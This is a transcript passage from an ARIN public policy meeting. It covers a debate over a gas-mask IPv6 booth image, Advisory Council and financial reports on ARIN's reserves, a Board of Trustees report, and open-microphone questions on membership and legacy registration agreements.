Heather Schiller: I agree as well that the image is really negative. I think -- I didn't even notice that there was a caption because I didn't get that far because I looked at it and I went, What the heck? But I wanted to say that it then to me becomes something that you have to -- is an obstacle to overcome, because you're trying to tell people that, yes, transition to v6 is going to be some amount of work, but you don't want to give the perception that this is this horrible, insurmountable kind of problem that I think that that type of image portrays.
John Curran: Okay. And I guess the question is: Since that's the booth production that we're using this year, and it's being used at shows, do you say it shouldn't be used? Or we should use it and see how we overcome exactly that? Because --
Heather Schiller: So I'm going with you guys to Interop next week.
John Curran: Is that the smaller booth?
Richard Jimmerson: It won't be that exact image when you're with us next week. But you could end up at an event with that there, is the point.
Heather Schiller: So my question was going to be have you used it at an event already?
Richard Jimmerson: No, we have not.
Heather Schiller: You haven't even tested it to see. Well? And so you're testing it at the ARIN meeting and you're getting a bunch of responses that are not exactly positive?
John Curran: Right. The question is whether or not it will drive more people into the booth.
Heather Schiller: I can imagine that the gaming one, maybe, but I don't know. And I guess if you're going to use the image next week or a smaller version of it, you can test it out. But are you planning to ask the people: What drove you into the booth? Or are you just going by -- do you record numbers? I haven't gone yet, so I don't know how you do this. Do you record numbers?
Richard Jimmerson: One of the very difficult things at these trade shows is that you're a single booth, 10-by-10, amidst hundreds of others, and people are walking down aisles and it's difficult to grab their attention and bring them in. We do our best to jump out, jump out in the hallway, bring them back in and attack them with our message in a very kind way, of course. But getting them to stop, getting them to stop and take a look and go "what is that" may be an opportunity for us to come in --
Heather Schiller: My question is a lot simpler: How will you measure?
John Curran: I'm going to close the mics. We're running out of time.
Heather Schiller: How will you measure?
Richard Jimmerson: We will measure that based on the number of people that come in, the comments that people give us. One of the reasons this actual image came up is taking feedback from people at these shows. And actually that type of image was recommended by several people that had come to our shows. And that's one of the reasons it was in the running when we got to the end of the selection process not too long ago.
Tom Zeller: Tom Zeller, Indiana University, ARIN AC. Yeah, I'll just put my two cents in. I find the image repellent. I would never walk to a booth that had that image. And even if you get an uptick in people visiting, you won't be able to measure how many people walk away with a negative image, because they won't talk to you. I know it's painful that people second-guess something you put a lot of work on. But that's just my reaction to it.
I also wanted to say I just downloaded the widget off TeamARIN for my Mac, and I have the really fun Hurricane iPhone, and both of them give days to exhaustion. And my math, 365 minus 513, that puts it -- boy, it would be nice if it projected exhaustion date. October 10th, 2011, would be much more dramatic outcome than 513 days, which seems like kind of far in the future.
John Curran: Okay. In the past the days have been more impactful than the date. But I imagine now that we're getting close it's the other way around.
Center rear.
Marc Crandall: Perhaps we should replace the -- I don't mind bending down -- we could replace the gas mask with an attacking goose. A duck, I mean.
[Laughter and applause]
I was going to say: I guess metrics on how this affects people is very difficult to measure. And coming up with alternative designs is expensive, especially after printing booth material. But maybe one option is simply to have four or five mocks available on the ARIN site, place notice on the appropriate mailing list, and then whoever has an interest in it can go ahead and vote, and then the design and PR department can go forward from there if the membership feels strongly about it. And that should at least help relieve the situation for the time being. My name is Marc Crandall. I'm on the ARIN AC. I'm with Google. Speaking for myself.
Steve Bertrand: Steve Bertrand, I've heard a few people say that this image is only prevalent in trade shows. However, if you go to homepage, it's one of three or four rotating ads right in the front page of the ARIN site.
Bill Woodcock: There is something to be said for home-grown imagery and jokes and so forth, and the attacking goose of v4 depletion at least has that going for it.
Scott Leibrand: Scott Leibrand, ARIN AC. I was at a conference just a couple of weeks ago. There were a lot of people that walked by, saw a bunch of letters, said: I don't recognize that company; I don't know what they do. They didn't say it that loud, but they just kept on walking. I believe it is absolutely essential that we have something to bring people into the booth. I believe that IPv6 needs to be the primary message of the booth materials, not ARIN.
I think the gas face dude is going to be effective in getting people's attention. I'm personally of the opinion that this is publicity and it's in a trade show environment; there's not a lot of bad ways to get attention, I don't believe. So I don't have any objection to gas face dude, but whatever we do, it needs to be something along the lines of IPv6, get attention. I think this is a good step in that direction. Obviously we can keep working to improve it. But I thank you for making that happen.
John Curran: Center rear mic.
Bill Darte: Bill Darte, ARIN AC. I thought the suggestion over there of ways to get feedback from the community in advance of some of these PR messaging, you know, my marketing and promotion 101 suggests that focus groups are a pretty powerful and important part of a lot of market messaging, and so if you could get -- obviously a biased group, you know, in the membership, but if you could get members who would be willing to participate in some kind of focus group, that would probably be a good thing.
Richard Jimmerson: Thanks, Bill. Far right.
Bill Sandiford: Bill Sandiford, Telnet Communications, ARIN AC. I've been to -- I think it's three outreach events so far this year. And echoing what Scott said about his recent experience, we spend a lot of time, especially on the first day of the show, where booth traffic is good and people are coming in, and if necessary we have to step out of the aisle and do a blocking routine to try to direct them in, which always isn't as fun, but I tend to have the size to pull it off.
But some of the other days it's exactly what Scott said: It is people walking by, taking a glance up, and very hard to get attention to the booth. I'm not 100 percent certain whether or not I think this particular image is the right image. But sometimes I think in these trade show environments the controversial image is just what you need to get somebody's attention and perk their interest long enough to come up and say, hey, what is that?
And I'm quite confident in my abilities, and I'm sure other members of the AC are just as good, that when those people come in and see this image, and if they come in with an immediate negative connotation, that we could very easily turn around and say: You know what? Yeah, this looks real negative, but here's actually why this is a positive image. And although it may give you some negative things in your mind, this is really what we're trying to show and here's why we're here and here's why this is a good thing.
In terms of selecting the image itself, I know that ARIN values the feedback from the membership community. But I know, myself, that I'm certainly not a marketing expert and I would imagine that a lot of the people that participate in our processes aren't marketing degree people as much as they are -- have their strengths in other areas. And I tend to want to take my trust and put it in the people that the organization has hired to do the marketing for us.
Heather was asking about how we're going to measure this. I know at the events that I've been to, or will go to in the future, I certainly don't have a problem with someone who looks weird. Sometimes at the end of the conversation or sometimes when a conversation has gone on a bit too long, kind of like this comment, that it's very easy to cut them off by saying: Well, thank you for coming. Just as an interest, how did you come to visit our booth today? And it's a great way that we can get feedback, and also push them out of the booth and move on to the next person.
John Curran: Thank you.
Scott Leibrand: I have a remote.
John Curran: Microphones are closed including remote. That will be the last comment. R.S. and then remote.
Rob Seastrom: Rob Seastrom again, ARIN AC and Afilias. I've gotten a little bit of a chuckle about negative responses to a negative image or a perceived negative image. And I would encourage people who do not like gas face dude to come up with concepts that can be, of course, extremely rough, because that's what we pay our marketing people to do, is refine those concepts and turn them into something that you can put in the booth. Please submit your ideas for something that you find less offensive, that you think would be -- or, you know, positive or whatever and would be attention-getting to draw people into our booth. I'm sure that your ears are open and your door is open and more than happy to hear about ideas from the community, the AC members, whatever.
John Curran: Thank you. Final comment, remote.
Scott Leibrand: Remote comment from Peter Gutierrez from the University of Massachusetts Amherst. I think the gas mask guy reminds me of Dr. Who, not as negative as other people's reaction.
John Curran: Okay. Thank you. On that we'll close out. Do you have anything else, Richard?
Richard Jimmerson: No, I don't.
John Curran: Thank you very much.
Okay. The refreshment break was at 10:30 and we get back here at 11:00, so we're here. Congratulations. No, I will not do that for you. We will have a brief refreshment break. I need a 15-minute break. I'd like to be back here at 11:20, please. Everyone come back 11:20.
ARIN Advisory Council Report
John Curran: Welcome back. If everyone would be seated. Now that everyone's gotten their juices flowing, we'll pick up with the ARIN Advisory Council Report by the ARIN AC Chair, John Sweeting.
John Sweeting: I'm John Sweeting, Chair of the Advisory Council, and I'm going to go through a few slides here. Here's the picture of the current Advisory Council.
This was taken in January at the Reston Hyatt when we had our face-to-face day-long workshop. The main role of the AC is really policy development. There are really five steps that we use to go through the policy development process.
The first thing we do is we evaluate the policy proposals as they're sent in to ARIN. As we do that, we assign shepherds to the proposals to dig in a little deeper and provide information to the AC on the conference calls as to whether we accept it on the docket or not.
Next, we develop clear, technically sound and useful policy, which I'm sure you've all heard Einar say a million times. We then present draft policy at public policy meetings. We determine draft policies that meet community needs and requirements and then recommend those draft policies that meet the requirements to the Board of Trustees for adoption.
2009 in review. Last year, meetings, we attended three ARIN meetings. One was a Caribbean sector meeting. Three NANOG meetings. Seven other RIR meetings. Volunteered at 11 outreach events and had representation at IGF and IETF. On the proposal and draft policy activities, we had -- we recommended adoption of ten draft policies and we abandoned 13 proposals and two draft policies.
This year so far we've had ten proposals. Nine have been accepted on the docket, one has been abandoned, and one is currently pending. The status of those is eight have been turned into draft policies, which were presented here this week, and Policy Proposal 109 is still being developed.
Meetings this year. There are two ARIN meetings that we will all attend. Three NANOG meetings. Marla is going to one, Chris is going to one or has gone to one, and all will attend the one in Atlanta that's the joint with ARIN. Two RIPE meetings. Rob and Stacy. Two APNIC meetings. I've already attended the first one this year, and David will be going to Bangkok, I believe. The LACNIC meeting is Bill Darte. Two AFRINICs, Cathy and Marc. And last year there were 11 outreach events we supported. This year my count is we're volunteered in supporting 23 outreach events. So if you figure that, that's about two a month. And sometimes there's actually two or three going on at the same time. So we're stretched pretty thin this year. I think that's why Richard gave us some kudos while he was up here.
We also participate in the fellowship program. We participate in the selection committee. This year Owen and Cathy are on the selection committees. I don't know which one did this one. Owen did this one. Cathy is up for the Atlanta. Mentors: We have mentors for the selected fellows during the meetings. Stacy, Chris and Marla are the mentors for both Toronto and Atlanta.
Outreach program: We participate in the booth, focus on IPv4 depletion and IPv6 education and promote ARIN meetings.
We also have two -- I believe volunteers serve on the nomination committee. We have two people, two AC members on a policy development process committee. And then anything else that ARIN really asks for our support, we step up and support.
And that's it.
John Curran: Okay. Microphones are open. Let's make sure John gets his share of questions.
Thank you.
Next up we move on to the ARIN Financial Report given by the treasurer, Scott Bradner.
ARIN Financial Report
Scott Bradner: Good morning. Good late morning. So I'm acting as treasurer this year. And I'm going to just do a quick run-through of what ARIN has been doing, the ARIN Fin om, the Financial Committee has been doing in the last year and what we expect to do in the rest of the year.
So far this year we've -- the staff presented the Fincom with a revised 2010 budget. Minor revisions, but important to get the budget that's actually being used to be accurate. Such a concept.
The staff presented a draft budget, draft revised budget to the Fincom. We discussed it and we forwarded it to the board with a recommendation to approve the revised budget, and the Board did so.
The revised budget has a total revenue of $13,500,000 and expenses of about $15 million, cutting into the reserves by a little bit. This is something that we decided a number of years to -- to do is to deal with the fact we've got quite a large reserve, though not as large as we would have had without the economic downturn. And you'll see that in a minute.
But we decided to -- rather than raise fees or cut back on expenses, to cut into the reserves to some degree. So we're doing that.
And the sort of things we're spending it on is ARIN Online, the RPKI, document retention system, all of these things that you've heard about. And we could have done it by raising fees or deciding not to do some of this. But the Board decided to proceed with this and spend down the reserves.
But we've got quite a bit of reserves left. Projected at the end of the year to be about 21 million in reserves. So we've got a little ways to go. John can be a little more profligate and still not hurt us too bad. But we don't want to double the rate or something like that, so we're going to be a little bit conservative.
This is a picture of the reserves over the last few years. 2008 wasn't the best of years. The red stuff at the top is the decline in value; i.e., the hit on it.
2009 was not too great. But we're back to above where we were. And so the people that we hired to manage our reserves are actually quite good. They've done quite a good job of coming back. It's actually my retirement fund is at 90 percent of what it was, and ARIN's is at 100 percent. So that's pretty good.
This is the revised budget. I won't go through this in detail. It's available. But this is the -- thought it was important to put it up here in case anybody has any specific questions on it.
Personnel operations, et cetera: comparing 2009/2010. We're spending a little bit more. We're getting a little more in total revenue. Spending quite a bit more in personnel. Spending quite a bit more -- or a reasonable amount more in operations. Less in general office and administration, particularly in professional fees and outreach.
Legal defense fund is changed to how we were handling the legal defense fund. It was a line item in the budget. Now it's part of the reserves.
Our Internet support: ICANN support is down a little bit. Research is up a little bit, and additional expenses for the NRO, if you have questions on that, John can speak to that.
And we are helping with NANOG -- what specifically are we doing helping NANOG, John?
John Curran: Specifically our money goes to do the multicast of the -- the broadcast of the sessions.
The funding we give to NANOG is for multicast support for their meetings and our meetings.
Scott Bradner: It's not infrastructure support for NANOG, it's for letting other people know what's going on.
So what we'll be doing the rest of the year, the auditors are busy working, and the way it works is the auditors talk to me as the treasurer. They are busily auditing. They'll come up with a draft audit and then Fincom will review that, have any comments on it. I've already reviewed a first version of it and had some comments and the auditors are working on that.
And we'll get -- the Fincom will get a version of the audit to review to invest to recommend to the board one way or another whether they should accept it. So far the draft audit says no material issues have been found.
So, in other words, Bob and the rest of the gang are telling the truth to the rest of the auditors, or at least they can't figure out they're not.
Do an annual review on the investments. As I already mentioned, the investment advisors are pretty good, so it's likely we'll continue with them, but that's not an official decision.
We also on an annual basis look at the fee structure to see whether we should work on it. And, for example, one of the issues we have is the current schedule of the relaxing of the discount on v6 fees. So we're talking about that.
Review community input on various topics. Look at the insurance. We regularly do that. We did as -- as was pointed out yesterday, or maybe today -- how time flies when we're having fun -- that we now have insurance on our meetings for things like -- that was today -- things like volcano insurance on our meetings. We didn't know in advance that we needed volcano insurance, but that's what we have.
Looking at just the general monitoring, the general financial status to be sure that we're not -- John isn't driving us into a hole. And looking and working with the staff on developing a 2011 budget.
Any questions?
Martin Hannigan: Marty Hannigan. That's a pretty huge reserve we have there. It's 175 percent of a year's worth of operating expenses. Could you talk a little bit about the strategy for that and why we would as a community think that that's a pretty reasonable number for us to have sitting around?
Scott Bradner: Well, the Board a number of years ago asked the staff to put together a reserve of around a year's worth of support. We've come to the membership a number of times since then saying, okay, we're meeting up the reserves pretty good. We're building up the reserves, what do you want us to do? Do you want us to reduce fees? Do you want us to do increased services?
And, in general, the discussions in these meetings have been increase services rather than reduce fees. But we also did very well in the investments. And so it was surprisingly good -- well, there's that little aberration a couple years ago. But, other than that, we were doing very well on the investments.
So it's a little bit of an embarrassment of riches, which is why the Board decided to, rather than reduce -- rather than increase fees to cover the budget or to reduce expenditures to make it more in line with the revenues, to spend down the reserves to some degree. Do you want to add anything to that, John?
John Curran: I'd love to. Two things to think about. First is that while it is true that the reserves are significant compared to the more than one year's operating budget, we have in a short number of years a potentially discontiguous event that occurs when we run out of IPv4 resources for issuance, and ARIN will need to determine the right way to structure its fees and its operation.
Being able to go through that period without having to worry about keeping everything going while we restructure is very important. So I would rather at this point -- with just a year or two away, I would rather not go in with lean one-year reserves but have a little more slack there.
Steve Ryan: This is Steve Ryan. I act as counsel to ARIN. I'm at the McDermott firm in Washington D.C., and we have a very large nonprofit group of attorneys who advise nonprofit organizations, which is not my area of expertise. But I've relied upon them.
And my personal view is we are under-reserved. As a lawyer I believe we're under-reserved; that for a nonprofit organization like this, with a limited budget, that a two- to four-year reserve would certainly be within the realm of what other organizations do as well. And, in fact, you could even go beyond that.
In other words, I've inquired if there's an IRS standard at which that appears excessive, and of course there's certain universities associated with certain people in the room that we would not address as --
-- in any way where reserves were found to be very, very large.
But, in my view, we are not actually in any way over-reserved. And as a prudent set of fiduciary managers, the leadership of the organization may hear different notes from different places, but my note is that we probably could prudently be at two years to four as a way of addressing events in the future that allow, for example, even an orderly liquidation of the corporation over a period of a half dozen years.
And those things are very, very important, I think, to maintain continuity of what are essential Internet governance services.
So I think if there's any organization that is operationally involved in the Internet the way we are, that would be a very prudent way to do it.
Scott Bradner: Thank you, Steve. No jokes about lawyers looking at the size of the wallet of their clients.
Martin Hannigan: So I don't think it's a good idea for us to second-guess your judgment. It is a good idea to ask questions. And I think that everything that I'm hearing is fairly reasonable. Although, I question the comment regarding two to four years of reserves.
And, again, I'm not saying that it's not correct or that our advisors are incorrect, but ICANN was just involved in a huge roil over their reserves, and there was quite an extensive discussion as to how much and what those reserves should be doing. And perhaps it's a different organization than ARIN.
If you had asked us during this meeting -- which you kind of are by presenting this -- what we would like to see you do, I think you should keep doing what you're doing. I think that the capital expenditures and the infrastructure are good. And they should be planned accordingly and liberally since you do have some cash.
And I personally think 175 percent, without a reduction in fees, is an eyebrow raiser, but if you can justify it, so be it.
Thank you.
Scott Bradner: We have a remote comment.
Scott Leibrand: The remote comment is from Peter Gutierrez, University of Massachusetts Amherst. He asks: Could we get some more explanation about the legal defense contingency fee being put in reserves and not a line item in the budget.
Scott Bradner: Did you want to address that, Steve? John can do that.
John Curran: Yes. That's actually an excellent question.
So for many years we've carried an annual budget operating expense item which is a legal defense fund, basically a plan that we will have a category of expenditure each year of hundreds of thousands of dollars on the presumption that at some point a suit or some other mechanism would require us to do that.
The challenge with that is that you're budgeting for an expense that often never occurs. And so we finally realized that it doesn't adequately say what we really want to say.
What we really want to say is we'd like to set aside some money specifically earmarked for such defense. And rather than carrying it in the operating budget as we've been doing and never spending it, we'll just set aside a portion of the reserves for that purpose and no longer budget an annual legal defense item that never actually gets spent. So it's to make the budget reflect reality.
Scott Leibrand: Another comment from Tim McGinnis: ARIN should follow the other RIRs in terms of reserve. They all need to have several years of reserve in place with IPv6 revenues projected lower than IPv4.
Scott Bradner: Any other questions or comments?
Joe Maimon: Joe Maimon, CHL. I think what I'm hearing you say is the reserves are in essence a war chest. In that case, they should be bulked up considerably.
Scott Bradner: The legal defense fund portion of the reserve certainly are a war chest. The rest is for orderly operation of the organization in case something goes wrong, if something serious happens in Chantilly where it's going to cost us a lot of money to recover.
So we need the -- the Board, as I said a number of years ago, asked for enough reserves to deal with significant issues like the building burning down and things like that.
And as has been pointed out by the comment just made, looking forward, we are going to be in a stressful time economically as we move to a v6 environment where we're not going to see a lot of renewals. We're not going to see a lot of people coming back asking for more address space when they get -- when they get more address space in the first shot than the biggest ISP could have imagined in their wildest dreams under v4.
So it's going to be a challenging time and we're going to take some time to adjust to that. We don't want to have to do that in any kind of precipitous way.
But, that said, bulking up that reserve for dealing with that contingency or the general -- you know, we are infrastructure for the Internet, so we should be around as long as we're actually needed.
Any other comments? Okay. Thank you.
ARIN Board of Trustees Report
John Curran: Final report for the morning, followed by our open microphone session, will be given by our chairman, Paul Vixie.
Paul Vixie: Thank you, John. In case folks thought that the Board of Trustees had no function except sitting here at the head table, I'm here to tell you what else we have been up to. Next slide.
So at the conclusion of the policy development process for any given policy proposal, the Board has it on our remit to verify that the policy development process has been followed. No irregularities.
So this looks a little bit like a rubber-stamp function. Although, there have been a few times where we have sent policies back, but not lately. So these are the most recent things to come out the far end of the policy process and are now in the NRPM and are actively being followed by the staff.
We have also revised the ARIN bylaws. As mentioned in yesterday's meeting, I think the day before, there was an anti-takeover committee which made some recommendations, and this is really getting back to the reserve question again: How do we keep that from looking like an attractive target to somebody who might want to take over the Board for the purpose of writing a check to their buddies. That required some bylaws revisions.
We have also allowed for the idea of appointing a trustee. That would be a little bit unusual. John, as staff, is a, I guess, hired trustee. But the rest of us are elected. We have a desire to have a trustee that has some financial background. And we basically can't trust the election process to produce that.
So although we have not appointed a trustee who has financial background, we have given ourselves the power to do that. I'm not sure exactly whether and when and why we will exercise that power, but the power is now there in the bylaws.
And, finally, we separated the secretary and the vice chair offices, which is a minor knit. I'm not going to go into that unless there are questions.
The charter of the Mailing List AUP is a Board prerogative, and we did clean that up a little bit because there were some questions on exactly what the rules were and exactly how they would be enforced. But those are minor wording changes.
And then finally we have a new committee. It's not so much that we are committee happy, although I did notice that Lee Howard was otherwise going to get to sleep in on the third day of this meeting. So now we have a committee to make sure he gets up at the right time.
Anyway, the policy development process is subject to periodic revision, and that means every couple of years we note that there are some things that are harder than they should be, or that take longer than they should or whatever.
And please do send mail. I know that Lee spoke about this at the open part of the meeting. Please do send some mail to Scott or Lee or any other member of the committee to say, hey, this is what I think is wrong and this is how I think you should fix it. Because I won't say the sky is exactly the limit, but I would say right now the box is open. And if you want to tinker, this is your opportunity.
Moving right along. As Scott mentioned, we have reviewed and approved the 2010 budget. This is again a Board function because in this case it involved dipping into the reserves a little bit and it's believed that the elected Board of the membership organization ought to have to comment on that rather than just letting the staff run wild.
So with stern warnings to John as to exactly how profligate to be and not to be, we did approve the budget that Scott outlined for you.
And there is an ARIN Strategic Plan, which is sort of a living document. It gets tinkered with at least once a year on the first Board meeting of the year, often gets tinkered with at a Board retreat that happens in the summer.
And this is more or less the marching orders. In order that the Board not be involved in operational decisions, the staff -- basically John needs strategic guidance to know which way to jump if certain things happen and what he ought to be working on.
And so this is probably the single most interesting part of the job of being on the Board is to decide what the company's strategic objectives ought to be and what the strategic policies ought to be.
And so most of what you see on the screen here is motherhood and apple pie. I will say that with the current -- I don't want to say food fight, but with the current brouhaha going on inside the NANOG community, it has been useful to John to know what ARIN's position is on what the strategic plan says about operator forums is that we like them and that ARIN depends on a viable, vibrant operator forum in our region.
And so every time somebody from Merit or the NANOG steering committee asks us what we think, that's what John says. And it's been very useful.
So I guess this is questions. The microphone.
Cathy Aronson: Cathy Aronson, ARIN AC. I just want to say that I think that's such a great idea that you guys can appoint somebody to the Board that has fiduciary responsibility, because as a -- as a multi-time participator of the nom com, it's really hard to recruit people and it's hard to get them elected because we tend to elect people that participate in this process.
So even though we tried really hard, at least the last time I was on the program -- I mean the nominations committee, it's almost an impossible situation. So I think that's really great.
Paul Vixie: Thank you. Seeing no other questions I will be closing the microphones in a moment and then reopening them for open mic.
But while I'm sort of speaking for the Board itself, I want to say gas mask dude -- we do have somebody -- it's not gone unnoticed that there's some controversy around that, but it's also not raging emergency from my point of view.
John has said that, gee, we want to try this for a couple of meetings or a couple of trade shows and see how it works. And if it doesn't work, then we'll stop doing it on that basis. If it does work but the controversy continues, John may decide to stop doing it on that basis.
But the Board of Trustees as your elected representatives trained to supervise staff usually doesn't dip down to the level of operational details like what the trade show booth ought to look like. So I could certainly imagine the member suggestion process being used for that. If John --
John Curran: We'll work on something.
Paul Vixie: We're listening is I think the point I'd like to make.
Right-hand microphone.
Bill Sandiford: Bill Sandiford, Telnet Communications, ARIN AC. I just wanted to take the time to thank the Board, especially the elected volunteers that donate so much of their extremely valuable time to our organization. It's truly appreciated and our organization wouldn't be the same if it wasn't for the leaders at the head of it. Thank you.
Open Microphone
Paul Vixie: Now we're back to what we've done in the last two days. Open mic. Any questions, comments, topics folks would like to raise having to do with ARIN or ARIN's operations or mission or whatever.
Center microphone.
Steve Bertrand: Steve Bertrand, I'm the Canadian fellowship program person. I want to thank John and all of his staff. Many I have talked to and that operate in the background and aren't very visible, but I do know for a fact that all of the ones that I have spoken to personally share the same views and have the same dedication to ARIN and its operations as I do.
I want to thank Paul and the entire Board of Trustees, the entire AC, those who voted for me to get me in here and otherwise. And most importantly I want to thank my peers as they are the ones that actually make this whole thing work.
And the most important thing for me is the open and transparent process that we reside in. And this has been an absolutely fantastic opportunity for me and I have nothing but good to say about this. And I hope to be here for a long time. Thanks.
Paul Vixie: Thank you, Steve. And the other fellowship recipients, we are very glad to have you. We hope you'll keep coming back. And thank you to those who have participated in helping to select and recruit fellowship people. We're going to keep doing that. It's been a success, as you see.
Right-hand microphone.
Joe Maimon: Joe Maimon, CHL. Just two points: one, about booths, there is a normative standard method of getting people into your booth. So perhaps that can be looked at. I don't know what the community would feel about that.
And I do have an abiding concern that people have heard me mention before. I believe that ARIN as an organization has a history behind it which can be shown to contain inequities, disparities. And these things, while if you're part of the community they do seem perfectly reasonable, can be seized upon. I think those should be given some attention.
I've heard from Bob that other communities have given some attention to these things, and perhaps the reserves would be positively affected as well. Perhaps IPv4 returns would be positively affected by that kind of attention also, in which case that's kind of like three birds, one stone, and I would be encouraged if anybody were to take this up.
Paul Vixie: So, Joe, there's some head scratching here as to which disparities you're talking about. But I'm not sure that speaking about them here is your most effective way forward.
We do have a suggestion process, which I'd recommend that you put these into, because that will make sure that they get attention of some kind. There's an audit trail on such things. You can also use the PPML. You can also use this microphone if that's your desire.
But if there are problems, we should be working on them. I think I agree with you on that point.
Joe Maimon: Well, I'm going to follow Randy Bush's advice for a change and not air my dirty laundry.
Paul Vixie: Okay. I hope that if you don't air it here you will still follow up. Once again, the member suggestion and consultation process is at your disposal, and it is for this type of thing, I think, that it exists.
Center rear.
Bill Darte: Bill Darte. I'm on the Advisory Council but I'm also part of a group at Washington University called the Center for the Application of Information Technology. And we were an early member because I thought it was only right that once I became an Advisory Council member that our organization should be represented as a member of ARIN.
And I was grateful and glad to see that Washington University and St. Louis came under the legacy RSA program recently. And I advocated for that strongly. After that, I was told that CAIT couldn't be a member of ARIN anymore.
And it really was only just this morning that I found out why that was. And I guess that's a consequence of the anti-takeover thing. I'm sorry that my organization wasn't allowed to be grandfathered in to the program and membership, but I certainly understand what it is you're trying to achieve through that.
Paul Vixie: John would like to reply.
John Curran: Yeah, to the extent that you want to have the same exact status minus a vote, you can have CAIT join as an advocate. You'll still have attendees, you can still have an affiliation with ARIN, but we didn't want to have a situation where multiple pieces of an organization -- if Boston University is the one with a registration services agreement, that's the one that can be a member. Unless CAIT has a separate registrations services agreement, you'll have to go the advocate route instead.
Bill Darte: Yeah. And second piece of information that I learned this morning was of that new category, and I certainly will be following up and pursuing that.
The third piece of information that I got was about the extended welcoming kinds of initiatives that you have. And I'm suggesting they're probably not working at Washington University, because when I contacted the representatives, the stewards of the resources that allow Washington University to be a member, and said, you know, so who are you going to send as a representative and who is going to be -- and they said, well, you've been doing a fine job, why don't you just keep doing it.
And I don't really think that's appropriate. So I'll keep working on them from my end, but I think you ought to work on them from your end, too, to get them involved.
Paul Vixie: Thank you, Bill. Right-hand microphone.
Tom Zeller: Tom Zeller, Indiana University, ARIN AC. Indiana also signed a legacy RSA recently. I'm pretty new to this group, and just wanted to say for those who have been doing this for a while, you may kind of lose sight at how excellent and outstanding an organization this is. It's one of the most effective organizations I've ever been involved with.
And it's so impressive on so many levels, and if you try to think of another example of an international open, transparent, and democratic institution, the only thing I can think of is the U.N., and I think we come out pretty well in comparison.
So I don't want to be too self-congratulatory, and I'm sure there's imperfections that should be worked on, but it's just pretty wow really. I just need to say that. Thank you.
Paul Vixie: Thank you, Tom. Rear microphone.
Rob Seastrom: Rob Seastrom, ARIN AC and Afilias. Bill's question left me just slightly confused. I think I got it right, but I just want to make sure.
If you are a member and you have a Registration Services Agreement for resources regardless of whether it's legacy or critical infrastructure or direct allocation, or blah, blah, blah, then you're a voting member; is that correct? Is that correct characterization?
Paul Vixie: John would like to reply.
John Curran: Let me make it clearer. Start from the RSA. If you have an RSA, you have a current subscription for registration services. You're a member.
Rob Seastrom: Even if it's an LRSA.
John Curran: If you have a Registration Services Agreement that's a legacy RSA -- a Registration Services Agreement for an end user, or a registration services agreement for purpose of an AS number, you can become a member. And because you become a member you will -- you pay to become a member, you pay an additional fee, and you're a member and you get to vote. If you have no --
Rob Seastrom: Stop just a second there. You left out one thing from one of the organizations I'm affiliated with, which is a Registration Services Agreement for Critical Infrastructure.
John Curran: You pay and become a member. If you have no services agreement with ARIN, alas, you cannot become a voting member; you can become an advocate.
Rob Seastrom: Thank you.
Paul Vixie: Right-hand microphone.
Joe Maimon: Joe Maimon, CHL. Just a quick follow-up. Are you focusing on the contracts? Is there any way to have an agreement without resources? Just wanted to clarify that.
Paul Vixie: John would like to reply.
John Curran: You don't end up with an agreement without resources; you instead become an ARIN advocate.
Joe Maimon: If you had an agreement and resources are returned, is the agreement over?
John Curran: The agreement is there to serve having resources under it. If there are no resources, there is no agreement.
Lee Howard: Lee Howard, ARIN Board of Trustees. I agree with all the comments about how wonderful we are.
But it seems a little bit self-serving for me to sit here and agree. So we do have a suggestion process, and I do hope Joe and others will use that. You can find it on the ARIN website.
But I'm also interested in other feedback that is not quite so positive. Because we can keep doing what we're doing, but if there are things that we should do differently or not do, or stop doing or start doing, we'd like to hear what those are.
Bill Smith: Smith, PayPal. First I'd like to echo the compliments. I think this is my first meeting. I've been very positively influenced by it.
On the negative side, as a neophyte, it's -- even though I know what most of the acronyms mean, it's extremely difficult to figure out who is doing what to whom and when.
So in terms of Internet governance, as an example, I can't find an org chart, and the whole bottoms-up model and the discussions about that, it's very valuable in terms of operating, but it is extremely difficult as someone coming in from the outside to see how this actually works.
As an example, I'm trying to understand if PayPal could become a member. And I can't figure it out based on the discussions that was just had.
Paul Vixie: John would like to reply.
John Curran: Couple of quick questions. We're very interested in providing orientation material to bring people up to speed. It is a very difficult task. When you ask someone in this room to write orientation material, they write it perfectly suited for someone who has already been here two years to get to the point of being an expert, not someone who has never been here.
We did do some attempt at this at the first timer's lunch. Did you get a chance to go to that?
Bill Smith: I was unable to. I had a personal commitment on Sunday.
John Curran: We need to figure out how to get those materials, because that includes a slide deck overview of the organization, the org chart, and the policy process. And I think that might help a little bit.
Bill Smith: I'm actually talking bigger than that, though. It's what are the RIRs? What is ICANN? How is the Internet itself governed?
John Curran: Got it. Some of that is in there. But let me -- let's get you those materials, but then also I want more feedback because I'm sure it's not all there.
Bill Smith: My specific question actually is can PayPal -- we have IP numbers.
John Curran: Yes.
Bill Smith: Can we become an ARIN member?
John Curran: You almost certainly have IP addresses under an end user agreement today, and you can go from an end user to an ARIN member.
Bill Smith: Yes. By paying the $500 fee and signing the agreement?
John Curran: Correct.
Bill Smith: Okay. Thanks.
Paul Vixie: Center front microphone.
David Farmer: David Farmer, University of Minnesota, ARIN AC. I wanted to query the Board: What do you think the probabilities of extending the legacy services agreement availability beyond the current deadline is going to be?
Paul Vixie: So given that we have extended it once or twice now, that's a reasonable and expected question. We took no action on that this week, as far as deciding what to do. We're going to see how it goes. I think the current time period expires in June. And so we'll probably decide what to do about that sometime in June. Or May.
And with the understanding it expires for a reason, and yet having it expire without having all of the legacy people yet come in does not quite serve that reason. So we're playing it by ear.
David Farmer: And I agree with that. And, yeah, this is a dance, and I'm just figuring out when -- trying to figure out when the music is going to end, that's all.
Paul Vixie: It may be June. To the extent there's been somebody who has been waiting for the last one, this could be it.
David Farmer: I'll just note that the University of Minnesota has signed its and done its little part of it, but trying to twist a few more arms.
John Curran: Push fast.
David Farmer: I understand.
Paul Vixie: Center rear microphone.
Bill Darte: Bill Darte from the ARIN AC, for the last time.
Just in response to our PayPal friend over there, but perhaps -- I think we do a reasonable job of saying that the Board and the ARIN Advisory Council members are always open to have people talk with us and have anything about the organization or our understanding even beyond the organization explain to them, but perhaps as part of the introductory slides or whatever we could announce more formally for people who miss the first timer's lunch that we're in fact interested and actively willing to engage in any kind of conversation about this organization, what we do or why.
Paul Vixie: Thank you. John thanks you and I thank you.
Left-hand microphone.
Chris Grundemann: Chris Grundemann. To comment further on new attendee orientation, I think ARIN does a fairly good job explaining what ARIN does and how ARIN operates, at least in my experience. And the part that may be missing is how that correlates and interworks with ICANN, specifically, and maybe some other organizations, but namely ICANN, I think.
